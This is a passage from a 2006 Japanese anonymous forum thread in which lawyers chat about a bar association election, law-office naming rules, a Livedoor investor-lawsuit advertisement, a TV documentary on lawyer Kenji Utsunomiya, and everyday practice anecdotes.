 地方単位界ではあるらしい。「議決書」を手交するに際し
(最近は配達証明らしい),<○○先生,今回は起訴猶予みた
いなものだけど,言動には注意しなさいよ。>とかコンコンと説
諭があるのだそうだ。
 懲戒非請求人が弁論能力に長けていると,説諭はないという
話を聞いたことがある。

372 :無責任な名無しさん:2006/02/03(金) 01:35:06 ID:/bDByyEr
>>364
「廃棄したりするおそれがあると」との点であるが,非開示証拠・弁護人不同意
証拠は判決確定後廃棄処分されるのではないだろうか?  まして,DとPが共謀
して,「この証拠は闇から闇へ」と合意している可能性も否定しきれない。
 どうだ,斬新な発想だろう!!!

373 :無責任な名無しさん:2006/02/03(金) 01:43:24 ID:ccjTO9qd
>>372
刑訴法によればだが、破棄されるおそれよりも、受還付権者の請求によりLD側に還付されるおそれが大だから「LD側に還付されて破棄されるおそてれがある」ってのはどうかな?


374 :無責任な名無しさん:2006/02/03(金) 01:59:16 ID:l2e8SrmB
>>366
そういう人がなんで控訴したの?
刑が思ったより短かったから?
刑務所より拘置所の方が居心地がいいから?

そんな人でも娑婆にいたいものなのかな。

375 :無責任な名無しさん:2006/02/03(金) 02:01:53 ID:ccjTO9qd
>>374
横レスすまそ

 そういう被告人は、少しでも刑務所へ行くのを先送りにしたい、少しでも刑期が短くなりたい、控訴すれば移管されて○○でなく××刑務所へ行けるから、ってのが御三家なんだよね。

376 :無責任な名無しさん:2006/02/03(金) 03:26:27 ID:/bDByyEr
 最近福島刑務所がとても快適になったらしい。

377 :無責任な名無しさん:2006/02/03(金) 06:55:41 ID:yuzv4DS0
□知刑務所の石は○×らしい

378 :無責任な名無しさん:2006/02/03(金) 08:06:27 ID:bItLtm+U
>375
へえ、そうなんだ。
常習累犯窃盗の被告人なんかは、控訴することはなく、はいはいと素直に
刑務所にお勤めに行くものなんだと思っていた。
控訴しても長引くだけと割り切ってるのかと思ったよ。


379 :無責任な名無しさん:2006/02/03(金) 08:50:54 ID:f4gJCWta
>ライブドア株で損をした人、損害賠償請求しましょう。
>ライブドアが有価証券報告書に虚偽したことにより損害を受けた方の相談が急増し、損害賠償請求することになりました。
>損害を受けた方、事務所に相談にいらしてください。
>相談は無料です。
>集団で訴訟提起する予定ですので、一人一人で訴訟するより効率がよいと思います。
>第一陣として先着200名様限定とさせていただきます。
>料金
>裁判所費用   2万円
>着手金 5万円 報酬金 回収額の15%

>または着手金 0万円 報酬金 回収額の20%
>着手金は返却しません。
>着手金0の方は、最大で損して2万円ということになります。
>報酬金は回収できた金額をベースにします。
>詳細はいますぐここをクリック

「第一陣として先着200名様限定とさせていただきます」等
という表現は、詐欺のときの表現に似ている気がしないでもない。
まあ、いろいろと工夫しているということなんだろうけど。

380 :無責任な名無しさん:2006/02/03(金) 11:50:47 ID:kAz3ttf1
何ヶ月か前の自由と正義の末尾の異動欄の少し前の頁で、この事務所の名前を見た気がする。モゴモゴ

381 :無責任な名無しさん:2006/02/03(金) 13:31:34 ID:EB99vBwj
日弁連の臨時総会の書類が来たから、ゴミ箱に入れる前にちょっとだけみてみた。
事務所の名称に関する規程ってのがついてたけど、第8条が結構面白い。

品位を損なう名称のの例として
1 奇異・低俗または過度の期待を抱かせるもの
 勝訴確実法律事務所、格安法律事務所、元特捜検事法律事務所、日本一法律事務所
2 違法行為、脱法行為を示唆するようなもの

3 法律事務所の文字をことさら分断して用いる等、法律事務所であることが判然としないもの
 ○○法律・特許・商標・税務会計・国際事務所
4 銀行、生命保険その他法令で制限された文字を用いる等法令に違反するもの

5 符号を多用する等して著しく読みにくいもの

6 公的機関や著名組織との関係を誤認させるもの
 東京都法律事務所、日本弁護士会法律事務所、○○商事法律事務所

1の例がちょっと笑った。
2とか5とかはどんなのがありますかね。
5はAA使っているとかも入るんだろうか。ゴルァ法律事務所とか。


382 :無責任な名無しさん:2006/02/03(金) 15:24:34 ID:Xxik3q/2
http://school5.2ch.net/test/read.cgi/shihou/1130930562/l50
こういう事務所もダメかな?w

383 :無責任な名無しさん:2006/02/03(金) 19:36:44 ID:zDZ6MHhK
http://blog.livedoor.jp/itjlawoffice/archives/50037191.html
匿名の弁護士よりの公開質問状について

384 :宮外議長:2006/02/03(金) 20:39:32 ID:BRsJSKW3
広告自由化、3000人体制とはこういうことです。
この広告に何も問題はないし、これから弁はこのような方向に積極的に
進んでいかないとダメだと思う。
そうしないと司法書士が同じことをして全部事件をさらって行きますよ。

385 :無責任な名無しさん:2006/02/03(金) 21:49:45 ID:qsfwdLGe
国際弁護士ってやっぱ難しいんだろうな。

386 :無責任な名無しさん:2006/02/03(金) 22:11:54 ID:IO3vrtWg
問題ありまくりでしょう。
一弁は何をしてるんだろうね

387 :無責任な名無しさん:2006/02/03(金) 22:28:55 ID:u28yQYrb
>>386
選挙で忙しいのかな。

388 :無責任な名無しさん:2006/02/03(金) 22:34:18 ID:s/CnocSF
>>381
裏社会法律事務所
闇の法律事務所

389 :宮外議長:2006/02/03(金) 22:34:29 ID:oWBu8axs
広告自由化前の古い発想にとらわれていれば、司法書士等他の業種に負けます。
広告規制内容は業種によって違うんですよ。弁護士のみが異常に厳しい規制
をしていてどうするんですか。現にクレサラではそうなってませんか?

390 :無責任な名無しさん:2006/02/03(金) 22:36:23 ID:Uyn/P90S
自己破産14万でペイするんでしょうか?

391 :宮外議長:2006/02/03(金) 22:43:04 ID:oWBu8axs
おそらくペイする内容の申立てしかしてないんでしょう。
この意味わかりますね? 
でも、そのせいで弁にくる依頼者は確実に減っています。
だから相談センターは相談料を下げたんでしょう?

392 :無責任な名無しさん:2006/02/03(金) 23:08:50 ID:DGMOuFrY
巨根法律事務所

393 :無責任な名無しさん:2006/02/04(土) 00:23:20 ID:69F4zkMc
http://d.hatena.ne.jp/toda/

394 :無責任な名無しさん:2006/02/04(土) 00:31:59 ID:G4ctQOqK
巨乳法律事務所

395 :無責任な名無しさん:2006/02/04(土) 00:43:04 ID:4+zffNL1
>>384
そして懲戒件数も激増するのです

396 :無責任な名無しさん:2006/02/04(土) 01:18:23 ID:DcbUVbXn
>>390
例外もあります。
という一文を読み落とさないことですね。

397 :無責任な名無しさん:2006/02/04(土) 04:41:51 ID:6a0upXzz
「必勝」という名前の弁護士がいて,「○○必勝法律事務所」と名乗るのは違反なのだろうか?
「○○太郎」という弁護士が通称名を「○○訴訟勝利確実」とすることは認められるのだろうか?

398 :MS754 ◆yGUnQdhyV2 :2006/02/04(土) 06:35:13 ID:3vLvF4pH
ああああああ!!早く選挙終われ!!!

399 :TN:2006/02/04(土) 09:42:31 ID:a4/W6ZFd
オレの所はなぜかkbrの電話が多い
ひょっとしたら再選挙になるかもね

400 :無責任な名無しさん:2006/02/04(土) 09:45:41 ID:JB8MkCcc
どんな場合に再選挙になるの?

401 :無責任な名無しさん:2006/02/04(土) 10:02:56 ID:DcbUVbXn
相手:●△先生いらっしゃいますか?
秘書:失礼ですがご用件は?
相手:いや、今度の選挙・・・
秘書:スミマセン。選挙の電話はつながないことにしております。失礼いたします。ガチャ

という風に対応させてます。

402 :無責任な名無しさん:2006/02/04(土) 13:18:22 ID:ZaXz66Ky
何だよ!!履歴詐称してしまったけど罪になりますか?って!!
そんな馬鹿すぎる内容を携帯に迄電話してくんなよ!!ムキーー!!!!11

403 :無責任な名無しさん:2006/02/04(土) 13:27:32 ID:FqUvVsFC
>>402
俺、緊急の電話が予想されないとき以外、携帯は事務所に置いて帰るよ。
休みの日まで仕事の電話受けたくねぇ。

404 :無責任な名無しさん:2006/02/04(土) 13:54:32 ID:AWQrNpQy
なんでそんなDQNに携帯の番号教えてるの?

405 :無責任な名無しさん:2006/02/04(土) 13:58:26 ID:ZaXz66Ky
>>403
>>404
親戚のおっさんなんだよ・・・ちなみにそいつの息子は解体工・・・
仕方無いからちょっと行って来る・・・

406 :無責任な名無しさん:2006/02/04(土) 17:01:23 ID:4m+fJC5X
そんなの週明けに回せばいいのに。

407 :無責任な名無しさん:2006/02/04(土) 17:36:54 ID:nnvPDpNg
大阪市立卒の弁護士降臨きぼんぬ

408 :無責任な名無しさん:2006/02/04(土) 17:38:23 ID:4+zffNL1
>>407
なぜ?

409 :無責任な名無しさん:2006/02/04(土) 17:47:13 ID:nnvPDpNg
自分が大阪市大卒だからでつ

410 :無責任な名無しさん:2006/02/04(土) 18:33:13 ID:e9Gu7d8K
うちに大阪市立卒の事務員さんがいるよ。

411 :無責任な名無しさん:2006/02/05(日) 00:42:48 ID:PpDmFbnj
w 日弁連 w
http://school5.2ch.net/test/read.cgi/shikaku/1135573167/l50

このスレで選挙の話が盛り上がっているね。
確かに、秘密投票なので、俺もこっそり自分の好きに投票するつもり。

412 :無責任な無責任:2006/02/05(日) 06:42:14 ID:ou+uT40Z
 小規模会では、筆跡で、選挙管理委員会委員には、誰が、誰に入れたか、ほぼ判ります。漏れも、昔、戦艦の艦長拝命の際、殆ど全部判明したよ。
 現在の規模では、判らん希画駿河。

413 :無責任な名無しさん:2006/02/05(日) 12:42:22 ID:SUHi80Ze
カバチタレって漫画で依頼人が放火による保険金詐欺をしていたのが発覚したとき
主人公が自首を勧めたらボスに「そのやり方はもっとも安易で法律家として失格」みたいなことを言われてた。

でも普通、自首勧めんか?

414 :無責任な名無しさん:2006/02/05(日) 12:48:38 ID:SeldDji8
法曹を題材にした漫画はたいてい無責任で荒唐無稽

415 :無責任な名無しさん:2006/02/05(日) 13:52:24 ID:96V2+BDu
>>412
そんなもんわかるわけねえだろ
もしそこまで筆跡を吟味しているんならそれこそ秘密投票権の侵害だ
ホント弁護士は遵法精神がないから困ったもんだ

416 :無責任な名無しさん:2006/02/05(日) 13:53:59 ID:SeldDji8
>>415
412の例は海上自衛隊の実例の希ガス

417 :無責任な名無しさん:2006/02/05(日) 15:26:52 ID:PpDmFbnj
>>415
まあまあ。
普段、俺らって手書きの文字のやりとりなどしないよな。
同じ事務所の弁護士の筆跡すら俺は判断できないぞ。

418 :無責任な名無しさん:2006/02/05(日) 15:38:26 ID:iKxqdNIY
412は主流派の回しモンだろう
きたねえ手使うなよな

419 :無責任な名無しさん:2006/02/05(日) 15:44:11 ID:/zRa0th4
ホントますます入れる気なくなったよ

420 :無責任な名無しさん:2006/02/05(日) 17:07:03 ID:rAjw7EVp
>>412
確かに50人以下の単位会であれば「推測」は可能かも知れんが、、、
その前におまえは、文章の書き方を覚えような。

421 :無責任な名無しさん:2006/02/05(日) 17:48:01 ID:YMBTn6P5
どこの派閥にも属していないオレから言わせると、派閥やら会派やらの支持に
従わないことがばれるとどうにかなるのか?
事務所を解雇されたり、お酒を誘ってもらえないとかか?

自分自身の判断で行動できなくなるような派閥に所属することのメリットってなんなの?
おまいらの話は、友達から仲間はずれにされるのをおそれてる中学生みたいだぞ。




422 :無責任な名無しさん:2006/02/05(日) 18:00:03 ID:MQ08T7Gy
中学生にとっては仲間はずれにされることは十分怖いってことでしょ

423 :無責任な名無しさん:2006/02/05(日) 20:39:34 ID:cywCI4lQ
弁護士=中学生説

424 :無責任な名無しさん:2006/02/05(日) 20:51:12 ID:n+xvjsXv
まあこれからはロースクール卒弁護士が増えるわけで。
ロースクールと言うからにはハイスクールより下なわけで。
ということはロースクール=中学校なわけで。

425 :無責任な名無しさん:2006/02/05(日) 20:53:27 ID:JgRx9Sok
Junior "high" school

426 :無責任な名無しさん:2006/02/05(日) 20:55:19 ID:cywCI4lQ
low school という意味だったのか

427 :無責任な名無しさん:2006/02/05(日) 21:09:29 ID:JKKlOaYs
>>413
もっと有利な情状を固めてから自首すべきだと思った。関係ないのでさげ。

428 :無責任な名無しさん:2006/02/06(月) 10:00:41 ID:ymdvexAL
よく分からんが,放火といったら重大な犯罪だろ。
へたにアドバイスしたら証拠隠滅の共犯に問われかねない。
俺だったら,すぐにお引き取りいただくが。


429 :無責任な名無しさん:2006/02/06(月) 18:55:45 ID:i/3uKKPu
公判直前になってPが同種事案の量刑資料を
提出したいとのたまってきた。
(1回結審で事件自体はしょぼい。どうみても実刑の事件。)
何が目的なんだろう?

430 :無責任な名無しさん:2006/02/06(月) 21:44:53 ID:gjq97cii
>>429
最近は量刑資料を弁護人や裁判官に開示する傾向になった希ガス

431 :無責任な名無しさん:2006/02/06(月) 21:45:56 ID:pVTqU18U
裁判員裁判をにらんでるんじゃなかろうか

432 :無責任な名無しさん:2006/02/06(月) 21:52:10 ID:gjq97cii
>>431
それもある模様で下準備もあるみたい。
それに量刑不当のP控訴を減らしたみたい。
最近の右陪席単独では、量刑不当で高裁破棄が増加したらすい。

433 :無責任な名無しさん:2006/02/06(月) 23:22:20 ID:nJeTHe7y
素朴な疑問なのだが,なぜHさんが本命なんだろう。
弁護士増員について何も言わない人だし。
あの人を支持してる人は,今後弁護士増員が進められていって
自分らの首が絞められてゆくなんて
まったく考えちゃいないんだろうか。
あの人の支持基盤って,経営の安泰なブルBが多いのかな。


434 :無責任な名無しさん:2006/02/06(月) 23:25:37 ID:lYWZ/YiH
大阪は派閥の所属率がほぼ100%ってほんと?
東京じゃ考えられん。

435 :無責任な名無しさん:2006/02/07(火) 04:09:11 ID:sZPg0N5S
この前、プログラムの著作権侵害について相談を受けたとき、
依頼者が「これがnull pointで・・・」とかいったとき、
依頼者に向かって「ガッ」とやろうとした俺を引き留めてくれたのは、
会議室という中という状況だった。



でも心の中では「ガッ」ってやりました。


436 :無責任な名無しさん:2006/02/07(火) 09:46:18 ID:NDPrspGv
大阪ではそうだなぁ。で東京ではどの位?

437 :無責任な名無しさん:2006/02/07(火) 12:10:52 ID:d2HRO9L2
 あやふやな記憶だが、大阪でも無所属は数百人はいたと思う。
 また、大阪の場合、形式上派閥に登録しているだけの人も多い。
 選挙のときは鬱陶しいけど、中間団体としての存在意義は一定の範囲であるように感じます。

438 :無責任な名無しさん:2006/02/07(火) 16:28:04 ID:ghnAairA
児童防犯ブザーからパチンコCM…店が寄贈、論争に
http://headlines.yahoo.co.jp/hl?a=20060207-00000507-yom-soci

>大庭康二町長は「子どもの安全が第一。企業名や音楽も程度の問題」と理解を求めるが、
>保護者から相談を受けた矢箆原(やのはら)浩介司法書士は「パチンコ店のマークや音楽が
>なぜ防犯ブザーに必要なのかわからない。学校での配布は、親や子どもが拒否しにくい」とし
>6日、6項目の質問書を町に提出した。合田観光商事は「純粋に子どもたちのために寄付した。
>嫌であれば別のものを使えばいい」と話している。

司法書士の職域なのか?

439 :無責任な名無しさん:2006/02/07(火) 18:08:34 ID:H2vGLXjY
http://kjm.kir.jp/pc/?p=15831.jpg

440 :無責任な名無しさん:2006/02/07(火) 18:28:27 ID:IoKbVFT2
>>438
死ぬほどどうでもいい話題だな。
嫌なら受け取らないで自分で買えばいい、それだけの話だろう。

441 :無責任な名無しさん:2006/02/07(火) 18:31:32 ID:IoKbVFT2
ネタ提供のため、コピペしておきます。

[ サラ金スポンサーで成り立つ民放には絶対不可能の神番組、必見です ]

プロフェッショナル 仕事の流儀 第5回 2月7日(火) 21:15〜放送予定
ttp://www.nhk.or.jp/professional/schedule/index.html
ttp://tv.yahoo.co.jp/bin/search?id=42435886&area=tokyo

人生も仕事もやり直せる 〜弁護士・宇都宮健児〜

ヤミ金融と闘う人権派弁護士、宇都宮健児(59歳)。生活苦からヤミ金融に手を出し、
泥沼に陥った人々が最後の救いを求めて掛け込んでくる。
宇都宮は20代の頃、人付き合いが苦手で、顧客を開拓できずに事務所を首になった。
専門学校講師の仕事をしながら食いつないだ。

そんな時、誰も面倒で手がけなかったサラ金問題の仕事に関わる。
「人生はやり直せる」社会の敵に敢然と立ち向かう人権派弁護士の仕事に迫る。


442 :無責任な名無しさん:2006/02/07(火) 23:01:44 ID:aQwCCGo3
ttp://Miniurl.org/0qk

自殺者数:平成9年〜16年 計253,119人  自殺未遂:年間30万件 予定+3万
( www.t-pec.co.jp/mental/2002-08-4.htm )
自己破産件数:平成5年〜16年 計1,449,815人(延べの数では日本人の100人に1人) 予定+20万
( 最高裁判所集計:www.zenkinren.or.jp/toukei/img/siryou06.pdf )
全国のホームレスの数:平成15年 25,396人 予定+3000  
( 厚生労働省資料:www.mhlw.go.jp/houdou/2003/03/h0326-5.html )
生活保護世帯数:約100万2000世帯 2005年
( www.asahi.com/health/aged/TKY200502170231.html )

般  羯 多 呪 多 得 想 掛 所 亦 無 耳 不 是 異 蘊 観  摩 
若  諦 呪 能 是 阿 究 礙 得 無 意 鼻 増 舎 色 皆 自  訶
心  羯 即 除 大 耨 竟 無 故 老 識 舌 不 利 色 空 在  般
経  諦 説 一 神 多 涅 掛 菩 死 界 身 減 子 即 度 菩  若
      呪 切 呪 羅 槃 礙 提 盡 無 意 是 是 是 一 薩  波
   波 曰 苦 是 三 三 故 薩 無 無 無 故 諸 空 切 行  羅
   羅   真 大 藐 世 無 陀 苦 明 色 空 法 空 苦 深  蜜
   羯   実 明 三 諸 有 依 集 亦 聲 中 空 即 厄 般  多
   提   不 呪 菩 佛 恐 般 滅 無 香 無 相 是 舎 若  心
        虚 是 提 依 怖 若 道 無 味 色 不 色 利 波  経
   波   故 無 故 般 遠 波 無 明 觸 無 生 受 子 羅
   羅   説 上 知 若 離 羅 智 盡 法 受 不 想 色 蜜
   僧   般 呪 般 波 一 蜜 亦 乃 無 想 滅 行 不 多
   羯   若 是 若 羅 切 多 無 至 眼 行 不 識 異 時
   諦   波 無 波 蜜 顛 故 得 無 界 識 垢 亦 空 照
        羅 等 羅 多 倒 心 以 老 乃 無 不 復 空 見
   菩   蜜 等 蜜 故 夢 無 無 死 至 眼 浄 如 不 五
   提
   薩
   婆

443 :無責任な名無しさん:2006/02/08(水) 00:22:24 ID:nlpfLHbZ
弁護士にとって役に立つ事務員ってどんな事務員ですか?

444 :無責任な名無しさん:2006/02/08(水) 00:42:46 ID:z9qJdgWI
代わりに業務をやってくれる事務員

445 :無責任な名無しさん:2006/02/08(水) 01:02:01 ID:upcbLgWS
警察、保険会社、ヤクザ、弁護士、悪党の順に並べるとどうなる?漏れは民暴の
委員だけどこの順番かな

446 :443:2006/02/08(水) 01:12:49 ID:nlpfLHbZ
先生が死ぬほど忙しそうなので助けてあげたいんです!!
パラリじゃないから本格的な専門業務ができるわけでもないし・・・
やっぱ雑用こなすだけじゃあんま役に立ちませんよねぇ・・・
毎日力及ばず残念な気持ちでいっぱいです。

447 :無責任な名無しさん:2006/02/08(水) 01:16:02 ID:z9qJdgWI
>>446
雑用でも「きちんと」やってくれればそれで十分。

448 :無責任な名無しさん:2006/02/08(水) 06:48:30 ID:Ps8uoicD
債権取立や示談交渉を「張り切りすぎて」やらないようにw

449 :無責任な名無しさん:2006/02/08(水) 09:54:33 ID:KaMcTa75
昨日、宇都宮弁護士のテレビ見た人いる?
見そびれた。

450 :無責任な名無しさん:2006/02/08(水) 10:55:27 ID:jso2KZG6
>>449
見た。感動した。

451 :無責任な名無しさん:2006/02/08(水) 16:42:14 ID:nMWe5qvo
今日の深夜に再放送があるみたい。
評判よさそうなので見てみるか。

452 :無責任な名無しさん:2006/02/08(水) 17:35:58 ID:XYw12YSa
つ再放送のご案内
ttp://tv.yahoo.co.jp/bin/search?id=42485061&area=tokyo


453 :無責任な名無しさん:2006/02/08(水) 18:26:05 ID:cphyPA4o
今日会った依頼者から番組見たかと聞かれた。
良かったみたいだね。再放送見るよ。

454 :無責任な名無しさん:2006/02/08(水) 19:21:22 ID:KaMcTa75
>>450
もう少し詳しく教えてちょ。
再放送が深夜過ぎるよ・・・(ビデオ予約機能壊れてるし・・・)

455 :無責任な名無しさん:2006/02/08(水) 19:48:15 ID:xnzCN5oC
Ore mukashi Nakabou no bangumi de kandou shita kotoga aru......

456 :無責任な名無しさん:2006/02/08(水) 21:20:58 ID:GoVO02bT
宇都宮弁護士はパソコンが使えないと番組中に言ってたから
本人がここを見る可能性はないでつ

457 :無責任な名無しさん:2006/02/08(水) 21:21:20 ID:jso2KZG6
>>454
あらすじ
宇都宮弁は東大法卒・あの年代での司法試験現役合格だったが,顧客とのゴルフとか超苦手。
それで,営業があまりにも下手だったのでイソ弁をクビになった。
その後生活も厳しくなる中で,弁護士会で「誰もやらない事件がある」と頼まれたのがサラ金との交渉だった・・・

っていう感じ。

なんというか,映像から人格がにじみ出るっていうのかな?
外見はすごく穏健そうなんだけれどもすごい人っていうのがよくわかる。

一つの例を挙げれば,例えばマチ弁の俺からすれば,貸金業法が制定されてどんどん規制が厳しくなっていってサラ金相手の債務整理とか破産とかを
あまり苦労することなく出来るのはこのような人達の努力のたまものなんだなー,なんてしみじみ思った。

営業は下手な「落ちこぼれ弁護士」かもしれないけど,むちゃくちゃかっこいい,って思ったよ。

458 :無責任な名無しさん:2006/02/08(水) 23:26:20 ID:MgIZo2FO
そうだね。この人たちががんばったおかげで、債務整理とかがずいぶん楽になっているんだろうね。


459 :無責任な名無しさん:2006/02/09(木) 02:04:14 ID:aPQ1yXxS
寝る前に一言。
宇都宮弁護士凄すぎ。国税局に情は無いらしい。

460 :無責任な名無しさん:2006/02/09(木) 02:27:06 ID:Ln9taARJ
この中に非弁がどれだけいるのだろう

461 :無責任な名無しさん:2006/02/09(木) 13:49:29 ID:SoR8BIh6
税務署がむかつく季節だな

462 :無責任な名無しさん:2006/02/09(木) 20:16:48 ID:gzKQlhjo
ヤミ金と電話でケンカ。
私の自宅の住所・電話番号(事務所じゃないよ)を教えろと余りにしつこいので
最寄の警察署の住所と電話番号を教えてやった。
あとで警察に怒られるかな。
警察の中の人ごめんなさい。

463 :無責任な名無しさん:2006/02/09(木) 20:23:47 ID:xiSzMswU
今はやってないがヤミ金いたぶるのっておもしろいな。
昔、相手が何回切っても切っても電話をかけ続けてやったことがあった。
向こうも大事な商売道具だから電源きらないんだよね。

464 :無責任な名無しさん:2006/02/09(木) 20:59:27 ID:OK2JhUJ3
>>463
おれ、FAXソフトでヤミ金の電話にえんえんとFAX送り続けたことあるよ。

465 :無責任な名無しさん:2006/02/09(木) 22:15:53 ID:dMW0kIX+
いや
営業ができないのでイソ弁を首になったって……
それよりイソ弁を首になるって……

ホントなのかなー。ツクリじゃないのかなー。



466 :無責任な名無しさん:2006/02/09(木) 22:26:56 ID:jys8F0t8
イソに営業能力なんて必要なのか?

467 :無責任な名無しさん:2006/02/09(木) 23:05:46 ID:542fmva1
>>465-466
宇都宮先生は、当時のボス弁をかばっていると思います。実際には、事件の選択、
方針などで対立し追い出されたと言われています。ただ、それを言ってしまうと
ボス弁の立場が無いので、話を作っているのだろうと思います。

468 :無責任な名無しさん:2006/02/09(木) 23:28:22 ID:5kSdAWgf
でどこの法律事務所だったの

469 :無責任な名無しさん:2006/02/09(木) 23:28:34 ID:OK2JhUJ3
>>467
当時のボス弁て誰?

470 :無責任な名無しさん:2006/02/09(木) 23:40:19 ID:5kSdAWgf
もうそのボス弁引退してるんじゃ?年齢的に

471 :無責任な名無しさん:2006/02/10(金) 00:59:31 ID:lZV+Q46f
>>467
 遠藤誠先生の分けがない。KBRん先生か?

472 :無責任な名無しさん:2006/02/10(金) 01:06:17 ID:lZV+Q46f
>>464
 代理人なしの少額訴訟で,相手方宛にファックスで30枚書面を直送したら,ファックス(感熱紙)が
壊れたと,法廷で怒られた。事務員さんは「30枚程度これからファックスしますがよろしゅうござい
ますか」と問い合わせて了承を受けたのだから,過失はないと思う。
 当該相手方は,期日の20分くらい前に法廷に来て,裁判官に苦情を申し入れた様子で,私は,裁判
官からも同様の注意を受けた。
 自動車引き上げの仮処分(債権者保管)の調書に「責任者」として署名した。うちの依頼者が前輪をパ
ンクさせ(厳重保管のため)危うく,私自身が被告になるところだった。
 過誤保険使おうかなと思ったけど,恥ずかしかったので,依頼者と費用を折半した。

473 :無責任な名無しさん:2006/02/10(金) 03:32:28 ID:ksanwJQL
>>472
民訴法改正直後に、faxで送ってくるなと言っていた裁判官がいたから「民訴規則通りにやって怒られるとは珍しい裁判所でつね」と言ったら、苦虫をかみつぶしたような顔をしていたな。
本人があれこれ勝手なことを言うのはいいが、裁判官までくだらない注意をするとはねぇ。
まぁカンパンだから仕方ないか(笑)。

474 :無責任な名無しさん:2006/02/10(金) 08:02:47 ID:0UNwJMpK
>472
被告が本人訴訟?
相手方が本人のときは、直送したことないな。
裁判所に一旦送付して送ってもらっている。
というか、裁判所から当事者なので一旦裁判所に出すようにと言われる。

475 :無責任な名無しさん:2006/02/10(金) 09:22:51 ID:f3mZPTK3
選挙の時って何か持って行くの?
選挙管理委員会から何か送られて来ていたような気がするけど、そこに
投票券みたいなのが入っていたのかな。
どこかにやってしまったよ。

476 :無責任な名無しさん:2006/02/10(金) 09:30:49 ID:agVy4ToV
俺、顔パスだから。

477 :無責任な名無しさん:2006/02/10(金) 16:47:02 ID:lZV+Q46f
 市内100人規模程度の会なら顔パスですよ。
 委員長(長老)と選挙管理者(41期)と若手(副会長経験者管理委員)が
暇そうに座っていた。
 管理者は,委員長より偉いんだぞ! と述べていた。
 「来年君やっってよ」と管理者から言われて,「大変責任ある役割だとは分
かっているんですがね」とお茶を濁した。
 大規模会の投票所って,どんな感じなの?


478 :無責任な名無しさん:2006/02/10(金) 20:14:29 ID:e2Yi/5LN
国政選挙みたいだ

479 :無責任な名無しさん:2006/02/10(金) 20:16:10 ID:hpMXzo6N
うちの単位会では登録間もない若手が立会人。

480 :無責任な名無しさん:2006/02/10(金) 23:38:31 ID:XEMYKysV
クボリン負けたね。次回も出るんだろうなあ

481 :無責任な名無しさん:2006/02/10(金) 23:44:27 ID:ATRfLgIv
>>480

詳細ぷりず。

482 :無責任な名無しさん:2006/02/10(金) 23:53:18 ID:XEMYKysV
>>481
http://www.nichibenren.or.jp/ja/updates/oshirase060210.html

高山先生にも負けるとわ

483 :無責任な名無しさん:2006/02/10(金) 23:55:42 ID:cEbtC338
地方の新米の当職にまで直接お電話(正味5秒)されるクボリ先生に入れようかと思ったが、
弁護士増員に真っ向から反対されているT先生に投票しますた

484 :481:2006/02/10(金) 23:59:38 ID:ATRfLgIv
>>483

私もT先生に入れました。
ところで、大阪ローカルで悪いのですが、
大弁の結果ご存知の方おられますか。
もし、おられたらお願いします。

485 :無責任な名無しさん:2006/02/11(土) 00:01:45 ID:Iu9E3mHd
T先生の得票数で、単位会の左翼度合いがわかったり、わからなかったり



486 :481:2006/02/11(土) 00:07:39 ID:z2FAi/oS
日弁の結果が出ているのを見て、大弁も会員ページに結果が
出ているかなと一瞬思ったけれど、選挙当日にHPで結果発表す
るほどのサービス精神は、大弁にはないよな・・・・orz

487 :無責任な名無しさん:2006/02/11(土) 07:55:06 ID:6bUd1/je
ワシントンとスイスを股にかけて日本のために
大活躍した超スーパーエリート国際弁護士(NY弁護士)、
高級官僚でもあった妬みに負けないフェアな牧原秀樹先生に、
熱い声援を!
ところで「ある人」って誰?

牧原秀樹先生のHP
http://www.hmacky.net/

牧原秀樹先生のコラム
http://www.hmacky.net/archives/diary/000336.html
今日は一つ残念なことがあった。私は自分で言うのも変だが、
フェアな人間であり、正々堂々と戦う以外に能のない人間である。
しかしながら、ある人が最近マスコミにしょっちゅう出ている私を妬んで、
今後私を紙面で出すことは「許さない」という圧力をかけて来たと言うことである。
政治にはよく汚い手を使うという話を聞く。私はそういう人は政治家になるべきではないと思う。
つまり、汚い手を使って保身を図るということは、その人は「自分のため」に
政治家になろうとしているということであり、「国民のため」に政治をしようとしていない
ということを意味するのである。私は、仮に自分よりこの国のためになる人である
ということを納得すれば、そして正々堂々と戦って敗れれば、相手に道を譲ろうと思う。
それは、私が自分よりこの日本という国を愛しているからだ。
私は、私の愛する祖国のために、絶対に卑怯な手は使わないと誓った。

488 :無責任な名無しさん:2006/02/11(土) 11:10:25 ID:Iu9E3mHd
あさひ独楽だろ。五大事務所のひとつと言ってるのが痛い


489 :無責任な名無しさん:2006/02/11(土) 11:16:20 ID:6bUd1/je
渉外事務所に入れず、牧原先生のような
超一流の職場を渡り歩いてきたスーパーエリートに
嫉妬するしか能のない腐れマ○弁は、スルーの方向性で。


牧原秀樹先生の総理待望論は周知の事実。
当選に汲々として地元のどぶ板に明け暮れる
志の低い「あの人」やその周辺とは、ものが違うことを
認識してもらう必要がある。

総理候補(?)
http://www.hmacky.net/archives/diary/000332.html
東京に逆戻りして、武部幹事長と無派閥有志との食事会。
いろいろと率直で、かつ裏話なども伺った。本当に純粋な、温かい人柄である。
その中で、今日私が将来総理になるかどうかという話が同期の中で起き、
間違いなく候補にさせたいという声が上がる中、無理だという人もいた。
無理な理由は何かと問われて、「純粋で真面目すぎる。総理になるような人は
汚い手も使えるような人でなくてはならない」ということであった。
私の知らないところで、私が総理になれるかどうかという話題がなされているというの
は実に光栄なことであるが、実はまったく気にしていない。

490 :無責任な名無しさん:2006/02/11(土) 11:26:45 ID:gCRjE82N
>>485
私はプチブル右翼の若手ですが,T候補に入れました。
同期もかなり入れたようです。

理由は,3000人になったら楽に弁護士稼業ができなくなるから。

491 :無責任な名無しさん:2006/02/11(土) 12:50:47 ID:NUhHvyoG
最下位の人のミスは
八方美人だったこと

経済界では増員やむナシという態度をとりながら
こちらでは
弁護士が増えるぞ。どうする。
と煽った。



492 :無責任な名無しさん:2006/02/11(土) 16:30:25 ID:7Vc9YhKT
さあこれで弁護士稼業は大変だぞ。
年配の先生方はおいしい時代を過ごしてきて
もうすぐ引退していけるからいいけれど,若手は。

493 :無責任な名無しさん:2006/02/11(土) 19:22:05 ID:qj96YTx2
新会長って増員に対してはどんなスタンスだっけ。とにかく増員反対。

494 :無責任な名無しさん:2006/02/11(土) 20:10:44 ID:iHAjqUgO
>>489
おまえ弁護士じゃないだろ

495 :無責任な名無しさん:2006/02/11(土) 20:55:31 ID:9hVBNr7E
増員問題については、規制改革・民間開放推進会議の中で、とんでも
ない議論がされてるよ。

そういうのをただ黙って見過ごしてるから、今の
執行部はだめなんだと思うよ。

法曹人口をやたら増やすことに、法務省側は全然痛痒を感じて
ないし。

